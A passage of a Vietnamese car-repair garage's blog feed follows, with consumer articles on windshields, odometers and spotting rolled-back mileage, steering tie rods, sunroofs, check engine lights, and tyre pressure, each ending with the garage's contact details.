Trong trường hợp không thể cứu chữa được nữa, bạn nên thay ngay loại kính ô tô mới. Khi thay kính chắn gió, bạn cần quan tâm đến chất lượng của chiếc kính mới. Và bảo đảm nó được lắp đặt một cách chuyên nghiệp. Vật liệu keo gắn kính hết sức quan trọng, vì vậy để duy trì độ vững chắc của cấu trúc xe cũng như hoạt động của các thiết bị an toàn khác. Đặc biệt cần phải sử dụng keo và kính đảm bảo chất lượng. Hãy quan sát xem kỹ thuật viên có làm sạch bề mặt khung kính và kính không.

5. Kết luận

Trên đây Shinwa Pro đã chia sẻ những thông tin liên quan đến kính chắn gió ô tô. Nếu quý khách có bất cứ thắc mắc nào hãy liên hệ ngay với Shinwa Pro Garage nhé!

Chúc quý khách có một ngày vui vẻ và lái xe an toàn!

SHINWA PRO GARAGE – CAR CARE CENTER

Địa chỉ: Phạm Đình Bân – Hòa Quý – Ngũ Hành Sơn – Đà Nẵng

Điện thoại: 0379 147 896 – 0973 307 896 – 0943 194 896

Email: shinwapro.dn@gmail.com

Website: http://www.shinwapro.vn/

]]> https://shinwapro.vn/kinh-chan-gio/feed/ 0 Odo ô tô là gì? Cách kiểm tra odo có hiển thị chính xác không? https://shinwapro.vn/odo-o-to/ https://shinwapro.vn/odo-o-to/#respond Tue, 24 Sep 2024 08:41:49 +0000 https://shinwapro.vn/?p=5120 Odo ô tô – nói theo ngôn ngữ thường dùng của người dân Việt Nam là công tơ mét. Thiết bị này có tác dụng ghi nhận độ dài quãng đường đã di chuyển của xe từ bắt đầu lăn bánh cho đến thời điểm hiện tại xe đang được sử dụng. Vậy odo của xe ô tô có mấy loại và cách kiểm tra độ chính xác của odo như thế nào? Hãy cùng Shinwa Pro Garage tìm hiểu trong bài viết ngay dưới đây!

  1. Odo ô tô là gì?
  2. Các yếu tố ảnh hưởng đến độ hiển thị chính xác của odo ô tô
  3. Cách kiểm tra odo ô tô
  4. Một số vấn đề khác liên quan đến odo ô tô
  5. Kết luận
odo ô tô là gì
Odo ô tô

1. Odo ô tô là gì?

Odo ô tô – viết tắt của Odometer, là đồng hồ đo lường khoảng cách di chuyển của một chiếc xe từ khi sản xuất đến thời điểm hiện tại mà một chiếc xe đang hoạt động. Theo ngôn ngữ thường dùng tiếng Việt hay gọi là công tơ mét. 

Odo tại Việt Nam được thiết lập đơn vị tính là km.

1.1. Chức năng

Nhìn vào con số hiển thị trên odo, chủ xe biết được số km mà chiếc xe của mình đã đi từ khi xe được sản xuất.

Làm cơ sở để đo khoảng cách quãng đường, dự đoán thời gian cần thay xăng xe/sạc điện hay đánh dấu mốc thời gian cần bảo trì, bảo dưỡng định kỳ.

1.2. Phân loại

Odo có 3 loại chính: Odo cơ học, odo tự động và odo bán tự động.

  • Odo cơ học: Là loại odo hoạt động dựa trên cơ chế hoạt động đơn thuần của xe.
  • Odo tự động: Là loại odo hoạt động dựa trên sự di chuyển của phương tiện mà không cần bất cứ tác động nào từ người điều khiển.
  • Odo bán tự động: Có thể nói là loại odo tích hợp giữa hai tính năng của odo cơ học và odo tự động.

2. Các yếu tố ảnh hưởng đến độ hiển thị chính xác của odo ô tô

Hầu hết odo hoạt động dựa trên nguyên lý đếm số lần quay của bánh xe. Và ước lượng quãng đường mà bánh xe di chuyển. Do vậy, độ chính xác của odo phụ thuộc vào hoạt động và tình trạng của lốp xe ô tô. Khi odo có dấu hiệu sai lệch, chủ xe nên kiểm tra lốp xe ô tô có đang bị mòn hoặc có được sử dụng/bị biến dạng so với kích thước tiêu chuẩn hay không.

Đối với những chiếc xe đã cũ thì tần suất gặp phải tình trạng odo bị sai lệch là cao hơn so với những chiếc xe mới. Bên cạnh đó, chỉ số trên odo hoàn toàn có thể reset hoặc chỉnh lại.

Vì vậy, xuất hiện trường hợp một số chủ xe muốn bán lại xe. Đã chỉnh lại số liệu trên odo với mục đích giảm trừ khấu hao xe đã sử dụng. Để chào bán với mức giá cao hơn so với giá trị còn lại của xe sau khi trừ đi khấu hao.

Do đó, khi mua xe ô tô cũ, để ước lượng quãng đường mà xe đi được. Kiểm tra odo xe hơi có hiển thị chính xác hay đã bị chỉnh hay không chủ xe nên làm như thế nào? Dưới đây là cách mà quý khách có thể tham khảo.

3. Cách kiểm tra odo ô tô

3.1. Cách 1: Kiểm tra odo và lái thử xe

Bước 1: Kiểm tra vị trí lắp đặt odo trên xe ô tô và quan sát các linh kiện của chúng có hoạt động tốt hay không. Bằng cách chạy thử xe trên một quãng đường vài kilomet.

Bước 2: Khi biết được odo của xe vẫn chạy bình thường, bạn nhìn vào các thông số hiển thị và ghi nhận chi tiết. Đây chính là quãng đường hành trình mà xe đã đi.

3.2. Cách 2: Kiểm tra một số giấy tờ

Ngoài số km hiển thị trên odo ô tô. Quý khách có thể hỏi một số thông tin xoay quanh mục đích sử dụng xe như phục vụ nhu cầu đi lại gia đình, chuyên chở khách hay đi đường dài,… Để đánh giá cảm tính số km hiển thị trên odo có hợp lý với tần suất sử dụng xe hay không.

Dưới đây là một số giấy tờ có lưu lại số km xe chạy trong quá trình sử dụng xe trước đó:

Kiểm tra lịch sử sử dụng xe: 

Các giấy tờ như giấy mua xe mới gốc, các gói bảo hiểm mà xe tham gia,… Yhể hiện thời gian bắt đầu sử dụng xe, các hỏng hóc đã sửa chữa hay thay mới. Trong điều khoản của hợp đồng bảo hiểm và có sử dụng bảo hiểm. Để đánh giá cơ bản thời gian sử dụng và tần suất sử dụng xe có hợp lý với quãng đường sử dụng xe hay không.

Giấy chứng nhận MOT: 

Các thông số của đồng hồ odo đều được lưu lại trên giấy chứng nhận MOT. Do đó, quý khách có thể dựa vào số km cùng ngày được ghi để ước lượng độ chính xác của số km hiển thị trên odo hiện tại.

Kiểm tra lịch sử bảo dưỡng xe: 

Sau mỗi lần bảo dưỡng, đơn vị bảo dưỡng sẽ lưu lại trên xe tem phiếu có ghi số km mà xe đã đi. Bên cạnh đó, nhân viên bảo dưỡng sẽ dựa vào số km mà xe đã đi để khuyến nghị hay đề xuất chủ xe nên thay mới dầu nhớt hay một số bộ phận khác đến kỳ bảo dưỡng… Vì vậy, qua các tem phiếu về số km đã đi hay biên lai thay dầu. Chủ xe có thể dự đoán được thời gian mà xe đã sử dụng.

Ngoài ra, để xác định số km gần nhất với độ dài quãng đường mà xe đã đi. Chủ xe có thể đưa ra đến các garage, các kỹ thuật viên có thể hỗ trợ.

4. Một số vấn đề khác liên quan đến odo ô tô

4.1. Odo có reset được không?

Câu trả lời là rất khó có thể thực hiện (hầu như là không). Tuy nhiên, không thể loại trừ khả năng, chủ xe nhờ các kỹ thuật viên có tay nghề cao, chỉnh lại một số chỉ số hiển thị trên thiết bị với mục đích bất chính là lừa khách hàng khi bán lại xe cũ.

4.2. Trip kilometer có phải odo không?

Đây là hai công cụ khác nhau.

Trip kilometer cũng cho người dùng biết chính xác quãng đường di chuyển của xe. Tuy nhiên, từ điểm khởi hành A sang điểm khởi hành B. Tức, chỉ số trip kilometer khi xe bắt đầu khởi hành sẽ là 0 và khi kết thúc hành trình sẽ là một con số cụ thể. Là độ dài quãng đường mà xe vừa di chuyển.

Bên cạnh đó, người dùng hoàn toàn có thể reset lại chỉ số của trip kilometer về 0 để đo lại khoảng cách đường đi. Trong khi đó, odo ghi nhận quãng đường đi từ khi bắt đầu đưa vào sử dụng và gần như không thể reset.

4.3. 1 odo bằng bao nhiêu km?

Một số người dùng tìm hiểu “1 odo bằng bao nhiêu km”. Thực tế, không có câu trả lời nào cho câu hỏi này. Bởi vì Odo là một thiết bị, chứ không phải đơn vị đo. Do đó không thể quy ước 1 odo bằng bao nhiêu kilomet được.

5. Kết luận

Odo ô tô là thiết bị đo lường quãng đường di chuyển của xe từ khi bắt đầu lăn bánh cho đến thời điểm hiện tại xe đang được sử dụng. Hoạt động dựa trên nguyên lý đo số vòng quay của bánh xe và ước lượng quãng đường xe di chuyển.

Khi có dấu hiệu bị lỗi, hay đã bị điều chỉnh. Quý khách có thể dựa vào các giấy tờ sử dụng xe, biên lai hay tem phiếu bảo dưỡng/sửa chữa xe và giấy chứng nhận MOT,… Để đánh giá cảm tính độ chính xác con số hiển thị trên odo với tần suất sử dụng xe. Hoặc có thể đem xe đến các garage, nhờ các kỹ thuật viên kiểm tra.

Khi odo hiển thị không chính xác, đây là dấu hiệu cho thấy, có thể bánh xe ô tô bị mòn, bị biến dạng không đạt kích thước chuẩn ban đầu. Khi này, để kiểm tra hay sửa chữa đúng cách. Chủ xe nên đưa xe đến các garage uy tín để được đề xuất phương án xử lý phù hợp nhất.

Trên đây là toàn bộ nội dung về chủ đề odo ô tô, cảm ơn quý khách đã quan tâm và theo dõi. Chúc quý khách một ngày tốt lành!

Shinwa Pro Garage chuyên bảo dưỡng sửa chữa ô tô uy tín, chất lượng, luôn đồng hành cùng quý khách!

SHINWA PRO GARAGE – CAR CARE CENTER

Địa chỉ: Phạm Đình Bân – Hòa Quý – Ngũ Hành Sơn – Đà Nẵng

Điện thoại: 0379 147 896 – 0973 307 896 – 0943 194 896

Email: shinwapro.dn@gmail.com

Website: http://www.shinwapro.vn/

]]> https://shinwapro.vn/odo-o-to/feed/ 0 Rotuyn lái là gì? 5 dấu hiệu chứng tỏ rotuyn lái bị hỏng https://shinwapro.vn/rotuyn-lai/ https://shinwapro.vn/rotuyn-lai/#respond Tue, 24 Sep 2024 02:20:50 +0000 https://shinwapro.vn/?p=5100 Rotuyn lái là một bộ phận quan trọng của hệ thống lái. Có tác dụng làm cầu truyền động trung gian giữa vô lăng và bánh lái trước, điều khiển hoạt động của bánh lái trước. Tuy nhiên, trong quá trình sử dụng lâu dài, khớp nối và mối liên kết giữa các chi tiết, bộ phận thuộc rotuyn lái có thể bị mòn, bị hỏng. Ảnh hưởng đến hoạt động điều hướng (điều khiển vô lăng) xe. Ảnh hưởng đến trải nghiệm và sự an toàn của người lái.

Vậy những dấu hiệu nào cho thấy rotyun ở hệ thống lái đang bị hỏng? Hãy cùng Shinwa Pro Garage tìm hiểu trong bài viết ngay dưới đây!

  1. Rotuyn lái là gì? Có tác dụng như thế nào?
  2. Dấu hiệu rotuyn lái bị hỏng
  3. Kết luận
hệ thống rotuyn ô tô
Rotuyn lái ô tô

1. Rotuyn lái là gì? Có tác dụng như thế nào?

Rotuyn lái là một bộ phận của hệ thống rotuyn ô tô (bên cạnh rotuyn cân bằng và rotuyn trục đứng).

Rotuyn lái là một khớp cầu, đảm nhận nhiệm vụ liên kết hệ thống treo, gầm với hệ thống truyền lực của xe, thực hiện chức năng điều hướng bánh xe thông qua hành động điều khiển vô lăng của người lái.

Cấu tạo của rotuyn hệ thống lái ô tô:

cấu tạo của rotuyn hệ thống lái ô tô
Cấu tạo rotuyn lái

Rotuyn hệ thống lái ô tô bao gồm hai bộ phận: rô tuyn lái trong và rô tuyn lái ngoài.

Trong đó, rô tuyn lái trong có tác dụng như một cánh tay đòn, có thiết kế một đầu rotuyn cơ động có thể xoay tròn, gắn trực tiếp vào thước lái, đầu còn lại nối với rô tuyn lái ngoài.

Và đầu còn lại của rô tuyn lái ngoài được gắn vào moay ơ ngoài đảm nhận nhiệm vụ điều hướng chiếc xe.

Sự phối hợp hoạt động giữa rô tuyn lái trong và ngoài là nhờ lớp cao su bảo vệ trục khớp bên ngoài của rotuyn ngoài.

2. Dấu hiệu rotuyn lái bị hỏng

Hệ thống lái bị lệch, bị rơ thường do rotuyn hệ thống lái mòn, thanh giằng cong vênh, bạc mòn và bị biến dạng. Tình trạng này nếu diễn ra lâu dài mà không có biện pháp khắc phục kịp thời, có thể khiến tình trạng rotuyn hệ thống lái bị lệch, rơ nặng hơn. Và là một trong những nguyên nhân gây tai nạn.

2.1. Độ chụm của bánh xe trước bị sai lệch, xe khó di chuyển

Nguyên nhân dẫn đến độ chụm của bánh xe trước bị sai lệch, xe khó di chuyển là do các khớp của rotuyn thước lái và rotuyn trụ đứng bị mòn hoặc hư hỏng, ảnh hưởng đến góc đặt bánh xe. Khi đó, độ chụm của bánh xe trước bị sai lệch, khiến xe khó điều khiển.

2.2. Lốp xe bị mòn không đều nhau và quá nhiều

Lốp xe bị mòn không đều nhau và quá nhiều là hậu quả của độ chụm bánh xe trước bị sai lệch. Khi độ chụm bánh xe trước bị sai lệch, khiến góc đặt bánh xe thường bị lệch về một phía.

Khi đó, sẽ khiến lốp xe bị mòn không đều và quá nhiều về phía bị lệch.

2.3. Bánh xe bị nghiêng sang một bên, xe bị kéo theo một hướng

Đây cũng là một trong những dấu hiệu xuất phát từ nguyên nhân độ chụm bánh xe trước bị sai lệch do rotuyn bị mòn hoặc hỏng. Tuy nhiên, độ cảm nhận của hiện tượng này còn tùy thuộc vào mức độ nặng nhẹ của độ mòn, hỏng của rotuyn  lái.

Vì khi rotuyn lái bị mòn hay hỏng nhẹ, góc đặt bánh xe không bị sai lệch quá nhiều, thì độ cảm nhận bánh xe bị nghiêng sang một bên cũng không quá lớn, thậm chí có thể không nhận ra nếu điều này diễn ra trong một khoảng thời gian.

2.4. Vô lăng bị rung lắc

Rotuyn lái bị hỏng là nguyên nhân dẫn đến tình trạng đứt gãy liên kết giữa bánh xe trước và vô lăng. Nghĩa là sự truyền động lực từ rotuyn hệ thống lái đến vô lăng không được liền mạch, mà sẽ xuất hiện độ trễ, độ rơ khi đánh vô lăng.

Do đó, khi đi qua những đoạn đường gồ ghề, hoặc qua những đoạn đường sóc, vấp phải ổ gà, vô lăng thường sẽ bị rung lắc.

2.5. Xe bị rung lắc

Nếu xuất hiện dấu hiệu này, rất có thể rotuyn lái xe của bạn đã bị hỏng nặng. Đặc biệt là khi xe tăng hoặc giảm tốc, hoặc vào cua.

3. Kết luận

Trên đây là toàn bộ giải đáp của Shinwa Pro xoay quanh chủ đề rotuyn lái. Rotuyn hệ thống lái có tác dụng gì trong hệ thống lái ô tô và 5 dấu hiệu nhận biết rotuyn hệ thống lái bị hỏng. Cũng như giải đáp nguyên nhân dẫn đến tình trạng rotuyn lái bị rơ, bị mòn.

Cảm ơn quý khách đã quan tâm và theo dõi. Chúc quý khách một ngày tốt lành.

Shinwa Pro Garage chuyên bảo dưỡng sửa chữa ô tô uy tín, chất lượng, luôn đồng hành cùng quý khách!

SHINWA PRO GARAGE – CAR CARE CENTER

Địa chỉ: Phạm Đình Bân – Hòa Quý – Ngũ Hành Sơn – Đà Nẵng

Điện thoại: 0379 147 896 – 0973 307 896 – 0943 194 896

Email: shinwapro.dn@gmail.com

Website: http://www.shinwapro.vn/

]]> https://shinwapro.vn/rotuyn-lai/feed/ 0 Sunroof là gì? Ưu điểm và nhược điểm của sunroof https://shinwapro.vn/sunroof/ https://shinwapro.vn/sunroof/#respond Mon, 23 Sep 2024 08:45:54 +0000 https://shinwapro.vn/?p=5084 Sunroof là cụm từ không còn quá xa lạ với những người sử dụng xe hơi hoặc đam mê các loại xế hộp sang, xịn. Để giúp người dùng ô tô có thể hiểu rõ hơn về sunroof, đồng thời giúp phân biệt được khái niệm sunroof và moonroof. Bài viết dưới đây Shinwa Pro Garage sẽ giải thích chi tiết sunroof là gì và những ưu, nhược điểm của nó.

  1. Sunroof là gì?
  2. Chức năng của sunroof là gì?
  3. Nhược điểm của sunroof là gì?
  4. Phân biệt sunroof và moonroof
  5. Kết luận
cửa sổ trời sunroof ô tô
Sunroof ô tô

1. Sunroof là gì?

Sunroof dịch ra tiếng Việt có nghĩa là cửa sổ trời, hay còn được gọi với cái tên khác là cửa sổ nóc. Đây là cụm từ dùng để đề cập tới phần cửa sổ trời của xe hơi. Loại cửa này ngăn không cho ánh sáng và không khí xâm nhập vào cabin.

Cửa sổ trời là tính năng được trang bị riêng trên các dòng xe đắt tiền, xe hạng sang. Tuy nhiên, với sự phát triển lớn mạnh của ngành công nghiệp ô tô hiện nay thì sunroof đang dần phổ biến ở dầu hết các mẫu xe. Không những thế, chúng còn được nâng cấp hơn với những tính năng vượt trội.

Cửa sổ trời được chế tạo từ khối kim loại hoặc chất liệu giống với phần mui xe. Cấu tạo cơ bản của sunroof bao gồm:

  • Một khung nhựa được đúc và thiết kế theo dạng mặt cắt có gân để tạo độ cứng nhất định.
  • Miếng đệm ngoại vi được làm từ plexiglass hoặc acrylic giúp sunroof dán chặt vào nóc xe mỗi khi đóng lại.
  • Cánh gạt.
  • Cụm thanh nâng để có thể tiến hành khóa cửa sổ trời dễ dàng.
  • Lò xo với 2 đầu, một đầu cố định và một đầu được gắn vào thanh trượt.

2. Chức năng của sunroof là gì?

Ngay từ khi ra đời, Sunroof đã được đánh giá cao về tính thiết thực cũng như đem đến nhiều trải nghiệm tốt hơn cho những người trên xe. Đến nay, Sunroof ngày càng được nâng cấp hiện đại hơn nữa. Vậy chức năng của Sunroof là gì?

  • Thứ nhất: Lấy ánh sáng và không khí từ bên ngoài đưa vào trong cabin. So với cửa sổ hai bên, Sunroof giúp giảm thiểu tiếng ồn. Bên cạnh đó, Sunroof còn hạn chế gió lùa vào nhanh khiến những người trên xe cảm thấy khó chịu.
  • Thứ hai: Được xem là cửa thoát hiểm nhanh chóng trong trường hợp ô tô bị rơi xuống nước, bị lật nghiêng hoặc va chạm. 
  • Thứ ba: Cân bằng nhiệt độ. Sunroof thiết kế dựa trên nguyên tắc đối lưu, tức là khí nóng ở trên, khí lạnh ở dưới. Khi khởi động ô tô, khí nóng làm cho không gian bên trong xe trở nên bí bách. Lúc này, mở cửa sổ trời sẽ giúp giải phóng luồng khí nóng, mang khí lạnh tự nhiên từ bên ngoài vào tạo ra cảm giác thông thoáng.
  • Thứ tư: Là thiết kế vô cùng lý tưởng cho việc ngắm cảnh, chụp ảnh hoặc tận hưởng không khí mỗi khi di chuyển bằng ô tô.
  • Thứ năm: Có khả năng cân bằng độ ẩm, tránh ẩm mốc đồng thời giải phóng các mùi khó chịu sau một thời gian dài đóng kín cửa.

Đây cũng chính là 5 ưu điểm nổi bật của cửa sổ trời sunroof.

3. Nhược điểm của sunroof là gì?

Trên thực tế, công nghệ này vẫn còn tồn tại một số nhược điểm như:

  • Chi phí bảo trì cao: Bộ phận này thường bị “lão hóa” nhanh, khả năng ngăn nước cũng giảm theo thời gian. Trong quá trình vận hành nếu xảy ra hư hỏng sẽ ảnh hưởng đến hệ thống điện trên xa. Do vậy, chi phí bảo trì, bảo dưỡng cũng cao hơn hẳn.
  • Giảm tính khí động học: Theo lý thuyết, cấu trúc phần thân, vỏ và nóc nguyên khối sẽ giúp tăng khí động học và giảm hệ số cản gió. Tuy nhiên, khi kích hoạt Sunroof, gió đi vào các khe hở và gây ra lực cản vận tốc ô tô.
  • Phải vệ sinh thường xuyên: Hầu hết các cửa sổ trời đều được trang bị một lỗ nhỏ để có thể thoát nước mưa. Vị trí này thường tích tụ nhiều bụi bẩn, rác, lá cây. Do đó, cần phải vệ sinh thường xuyên để không mất thẩm mỹ và tránh gây kẹt cửa.
  • Gây nguy hiểm: Việc mở cửa sổ trời để ngắm cảnh hay chơi đùa sẽ rất nguy hiểm trong trường hợp xe gặp vật cản, phanh gấp mà có trẻ nhỏ trên xe.

4. Phân biệt sunroof và moonroof

Moonroof là một loại cửa sổ trời được thiết kế bằng kính màu, chạy dọc theo chiều dài trần xe, giúp ánh sáng đi vào cabin mà không cần thiết phải mở cửa. Cách phân biệt giữa moonroof và sunroof là gì? 

4.1. Vật liệu chế tạo

Sunroof là có cấu tạo một mảnh, thường được làm từ một khối kim loại hoặc các vật liệu tương tự giống với mui xe. Khi đóng lại, ánh sáng bên ngoài sẽ không lọt được vào bên trong khoang lái.

Moonroof lại được chế tạo bằng kính cường lực tối màu, cho phép ánh sáng đi vào cabin ngay cả khi đóng cửa, đem đến cảm giác thoáng đãng và thoải mái hơn. 

4.2. Cách vận hành của sunroof và moonroof là gì?

Sunroof được lắp đặt tách biệt hoàn toàn với trần xe.

Ngược lại, moonroof có thiết kế đóng mở theo nguyên tắc trượt, dễ dàng điều khiển bằng hệ thống điện. Moonroof còn được coi là phiên bản nâng cấp của sunroof và được ứng dụng nhiều trên các dòng xe hạng sang, xe đời mới.

5. Kết luận

Bài viết trên đây Shinwa đã giải đáp cho bạn đọc sunroof là gì cũng như cách phân biệt cơ bản giữa sunroof và moonroof.

Nếu có bất kỳ thắc mắc nào cần giải đáp hay có sự cố, trục trặc xe cần được cứu hộ ngay. Quý khách vui lòng liên hệ Shinwa Pro (phục vụ và miễn phí cứu hộ 24/24) để được hỗ trợ kịp thời nhất có thể!

Cảm ơn quý khách đã quan tâm và theo dõi. Chúc quý khách hàng lái xe an toàn.

Shinwa Pro Garage chuyên bảo dưỡng sửa chữa ô tô uy tín, chất lượng, luôn đồng hành cùng quý khách!

SHINWA PRO GARAGE – CAR CARE CENTER

Địa chỉ: Phạm Đình Bân – Hòa Quý – Ngũ Hành Sơn – Đà Nẵng

Điện thoại: 0379 147 896 – 0973 307 896 – 0943 194 896

Email: shinwapro.dn@gmail.com

Website: http://www.shinwapro.vn/

]]> https://shinwapro.vn/sunroof/feed/ 0 Nguyên nhân đèn check engine bật sáng là gì https://shinwapro.vn/den-check/ https://shinwapro.vn/den-check/#respond Mon, 23 Sep 2024 01:16:20 +0000 https://shinwapro.vn/?p=5069 Đèn check engine là một loại đèn cảnh báo. Khi nó sáng lên có thể là dấu hiệu cho thấy động cơ hoặc một số bộ phận khác đang gặp vấn đề và cần phải xử lý.

Vậy nguyên nhân vì sao đèn check engine bật sáng? Hãy cùng Shinwa Pro Garage giải đáp chi tiết đồng thời đưa ra những lời khuyên hợp lý.

  1. Đèn check engine là gì
  2. Nguyên nhân đèn check engine bật sáng
  3. Giải pháp khi đèn check engine bật sáng
  4. Kết luận
đèn check engine báo sáng
Đèn check engine sáng

1. Đèn check engine là gì

Đèn check engine thực chất là một loại đèn được sử dụng để cảnh báo rằng động cơ xe ô tô đang gặp phải một sự cố nào đó. Đó có thể liên quan đến hệ thống vận hành hoặc là một lỗi cơ học bất kỳ.

Check engine hoạt động thông qua một bộ phận cảm biến. Mỗi khi gặp trục trặc trong quá trình di chuyển, đèn check engine bật sáng hoặc nhấp nháy để có thể cảnh báo cho người lái.

2. Nguyên nhân đèn check engine bật sáng

Khi mới khởi động xe, thường tất cả các hệ thống đèn báo lỗi sẽ sáng và tắt ngay sau đó. Điều này chứng minh là xe đang trong tình trạng bình thường và có thể tự do di chuyển.

Tuy nhiên, trường hợp động cơ xe ô tô bị lỗi, đèn check Engine nhấp nháy và sáng liên tục mà không tự động tắt đi. Nguyên nhân của hiện tượng này có thể là do:

2.1. Bugi

Bugi bị bẩn, đầu nối bugi hoặc dây dẫn điện cao áp bị hỏng sẽ khiến bugi đánh lửa yếu hay thời điểm đánh lửa không chính xác. Do vậy sẽ ảnh hưởng tới quá trình đốt cháy nhiên liệu. 

Điều này sẽ làm cho hiệu suất của động cơ giảm, gây ra một số vấn đề như: Rung máy, xe bị giật mạnh khi tăng ga, chết máy. Khi đó, đèn check Engine bật sáng để cảnh báo.

2.2. Bobin

Bobin đánh lửa trên xe ô tô đảm nhiệm chức năng tạo ra dòng điện cao áp để qua đó bugi phát ra tia lửa điện, đốt cháy hỗn hợp khí và nhiên liệu.

Trường hợp bobin bị hỏng sẽ khiến bugi không thể đánh lửa, từ đố gây ra những lỗi động cơ.

2.3. Nắp bình nhiên liệu

Khi nắp bình nhiên liệu không được đậy kín, đèn check engine có thể nhấp nháy liên tục bất cứ lúc nào.

2.4. Bộ chuyển đổi xúc tác

Có nhiệm vụ xử lý các thành phần độc hại có trong khí xả trước khi thải ra môi trường bên ngoài. Khi bộ chuyển đổi có sự cố, đèn check Engine nhấp nháy để cảnh báo cho người lái xe biết. 

Thực tế, phần lớn nguyên nhân đèn check engine bật sáng đến từ lỗi động cơ. Tuy nhiên, để có thể biết chính xác nhất, hãy đưa xe đến các trung tâm, bảo dưỡng, sửa chữa để có thể kiểm tra và xác định chính xác.

2.5. Hệ thống kiểm soát hơi xăng

Hệ thống này đảm nhiệm vai trò hấp thụ hơi xăng qua bộ lọc để dẫn vào buồng cháy, ngăn hơi xăng bay từ bình xăng ra bên ngoài. Khi hệ thống này gặp vấn đề, đèn check Engine bật sáng là việc hết sức bình thường.

2.6. Cảm biến oxy

Có nhiệm vụ đo lượng oxy dư thừa trong khí thải động cơ. Tiếp đó sẽ chuyển tín hiệu về ECM. Cũng từ tín hiệu này, ECM sẽ điều chỉnh tỷ lệ nguyên, nhiên liệu, khí và thời điểm đánh lửa sao cho tối ưu nhất.

Khi cảm biến oxy gặp trục trặc, thông tin truyền về bị sai lệch, quá trình đốt cháy không đạt hiệu quả tốt khiến động cơ phải hoạt động hết công suất nên dễ bị hư hỏng hơn.

2.7. Van hằng nhiệt

Van hằng nhiệt giúp điều tiết sự tuần hoàn của nước để có thể làm mát cho động cơ. Van hằng nhiệt luôn duy trì nước làm mát ở mức 80 – 95 độ C. Khi đó động cơ sẽ vận hành một cách hiệu quả.

Với những trường hợp sử dụng lâu ngày, van có thể bị kẹt. Tính năng làm mát không còn hiệu quả nên động cơ xe dễ bị nóng, đèn check Engine bật sáng để cảnh báo.

2.8. Kim phun nhiêu liệu

Nhiệm vụ của kim phun nhiên liệu là cung cấp nhiên liệu tới buồng đốt để có thể tạo ra sự cháy.

Một thời gian dài sử dụng, nếu không được vệ sinh định kỳ thì kim phun sẽ bị bám cặn, gỉ,… làm ảnh hưởng tới hoạt động của các động cơ trên xe.

3. Giải pháp khi đèn check engine bật sáng

Như đã chia sẻ ở trên, khi xe khởi động, tất cả đèn báo lỗi sáng trên xe đều sẽ tự động tắt đi. Vì vậy, nếu đột nhiên đèn check engine bật sáng thì cách tốt nhất chính là đưa xe đến các gara sửa chữa ô tô uy tín, có máy chẩn đoán để có thể xác định nguyên nhân và sửa chữa xe nhanh chóng, hiệu quả.

Ngoài ra, cũng cần lưu ý kiểm tra, bảo trì, bảo dưỡng xe định kỳ để đảm bảo khả năng vận hành của xe cũng như kịp thời phát hiện các lỗi thường gặp.

4. Kết luận

Trên thực tế, đèn check engine bật sáng chuyển qua màu đỏ là dấu hiệu xe đang có lỗi cực kỳ nghiêm trọng. do vậy, tuyệt đối không được chủ quan, kể cả với những lỗi đơn giản nhất.

Nếu có bất kỳ thắc mắc nào cần giải đáp hay có sự cố, trục trặc xe cần được cứu hộ ngay. Quý khách vui lòng liên hệ Shinwa Pro để được hỗ trợ kịp thời nhất có thể!

Cảm ơn quý khách đã quan tâm và theo dõi. Chúc quý khách hàng lái xe an toàn!

Shinwa Pro Garage chuyên bảo dưỡng, sửa chữa ô tô uy tín, chất lượng, luôn đồng hành cùng quý khách!

SHINWA PRO GARAGE – CAR CARE CENTER

Địa chỉ: Phạm Đình Bân – Hòa Quý – Ngũ Hành Sơn – Đà Nẵng

Điện thoại: 0379 147 896 – 0973 307 896 – 0943 194 896

Email: shinwapro.dn@gmail.com

Website: http://www.shinwapro.vn/

]]> https://shinwapro.vn/den-check/feed/ 0 Bơm lốp xe ô tô cần lưu ý những điều quan trọng sau https://shinwapro.vn/bom-lop/ https://shinwapro.vn/bom-lop/#respond Sat, 21 Sep 2024 08:35:11 +0000 https://shinwapro.vn/?p=5057 Ở bài viết dưới đây, Shinwa Pro Garage đã tổng hợp lại toàn bộ các kiến thức mà quý khách cần biết về bơm lốp ô tô. Chẳng hạn như áp suất lốp ô tô bao nhiêu là đủ? Cách đo áp suất lốp xe ô tô và những lưu ý khi bơm lốp xe ô tô.

  1. Bơm lốp ô tô bao nhiêu kg là đủ?
  2. Hướng dẫn đo áp suất lốp ô tô
  3. Bơm lốp ô tô cần lưu ý những gì?
  4. Tác hại của việc lốp xe ô tô không đạt áp suất lốp tiêu chuẩn
  5. Kết luận
lưu ý khi bơm lốp ô tô
Bơm lốp ô tô

1. Bơm lốp ô tô bao nhiêu kg là đủ?

Áp suất lốp xe ô tô là một tiêu chuẩn đo lường và đánh giá lượng áp suất không khí nén nằm bên trong lốp xe. Để từ đó điều chỉnh bơm thêm hoặc giảm áp suất lốp xe. Trong trường hợp lốp xe bị thiếu hơi hoặc bị bơm quá căng.

Hiện nay, có 3 đơn vị đo áp suất lốp xe ô tô phổ biến là:

  • 1 kg/cm2 = 14,2 psi
  • 1 psi (pound per square inch) = 6,895 kPa
  • 1 kPa (kilopascal) = 0,01 bar

Thông thường, áp suất lốp xe được khuyến nghị nằm trong khoảng 30 psi (khoảng 2.11 kg/cm2 hay 2.11 bar) và 35 psi (khoảng 2.4 kg/cm2 hay 2.4 bar). Tuy nhiên, với mỗi dòng xe, tiêu chuẩn về áp suất lốp lại có sự khác biệt.

Để biết được áp suất lốp tiêu chuẩn bánh xe người lái đang sử dụng. Quý khách nhìn vào phần áp suất lốp tối đa được in nổi trên lốp xe. Hoặc được dán tại khung cửa ghế lái hoặc trên cột C.

Để biết lốp xe đang bị bơm căng quá mức tối đa hoặc đang có dấu hiệu xịt hơi. Quý khách sử dụng đồng hồ đo áp suất lốp xe ô tô để kiểm tra. Cách thực hiện sẽ được hướng dẫn trong phần ngay dưới dây.

2. Hướng dẫn đo áp suất lốp ô tô

2.1. Chuẩn bị dụng cụ

Đồng hồ đo áp suất

Máy bơm khí

Bút và giấy

2.2. Các bước thực hiện

Bước 1: Kiểm tra áp suất lốp tối đa từ nhà sản xuất

Như đã đề cập bên trên, áp suất lốp xe ô tô tiêu chuẩn sẽ được ghi trên lốp xe ô tô. Hoặc tại bảng thông tin kỹ thuật dán trên khung cửa ghế lái hoặc trên cột C. Quý khách căn cứ vào đây để lấy mức Psi tối đa bơm bánh xe.

Trong đó có ghi đầy đủ thông tin về PSI lốp nguội của từng bánh trước và bánh sau. Quý khách sử dụng giấy và bút ghi lại chính xác chỉ số PSI tiêu chuẩn trên từng lốp. Để đối chiếu với áp suất lốp đo được thực tế, làm căn cứ bơm thêm hoặc xả bớt hơi lốp.

